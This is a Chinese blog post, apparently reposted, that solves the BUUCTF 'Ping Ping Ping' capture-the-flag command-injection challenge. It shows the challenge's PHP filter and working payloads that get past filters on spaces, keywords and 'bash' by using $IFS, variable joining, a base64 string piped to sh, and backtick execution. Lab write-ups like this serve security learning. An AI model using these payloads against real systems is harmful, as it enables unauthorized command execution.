码迷,mamicode.com
首页 > 其他好文 > 详细

buu-Ping Ping Ping

时间:2021-06-03 18:12:44      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:ima   空格   img   执行   com   成功   index   php   字母   

打开题目,是一道rce

先随便测试一下

技术图片

 

可以正常请求了

用管道符拼接下,执行ls命令

技术图片

直接发现了flag.php

二话不说,直接cat

技术图片

 

显然空格被过滤了,果然没这么简单

空格被过滤的话有几种解决方法

$IFS
${IFS}
$IFS$1
< 
<> 

重新构造payload:ip=127.0.0.1;cat$IFS$1flag.php

技术图片

 

 发现flag也被过滤了

还是老老实实的先看下index.php吧

|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

 

解决方法有3种

1.拼接绕过

其实就是引用变量

payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

成功得到flag

技术图片

 

 

这里要注意的就是

else if(preg_match("/.*f.*l.*a.*g.*/", $ip))

这个匹配的是一个字符串中是否按顺序出现flag四个字母

例如payload:?ip=127.0.0.1;a=f;cat$IFS$1$alag.php

这个就不能绕过了

2.编码绕过

直接构造payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

因为bash被过滤掉了,所以用sh替代

也能成功得到flag

3.内联执行

就是将反引号内命令的输出作为输入执行

构造payload:?ip=127.0.0.1;cat$IFS$1`ls`

直接把ls命令查看到的文件全都cat到了

也是成功得到flag

 

 

buu-Ping Ping Ping

标签:ima   空格   img   执行   com   成功   index   php   字母   

原文地址:https://www.cnblogs.com/c0d1/p/14844837.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!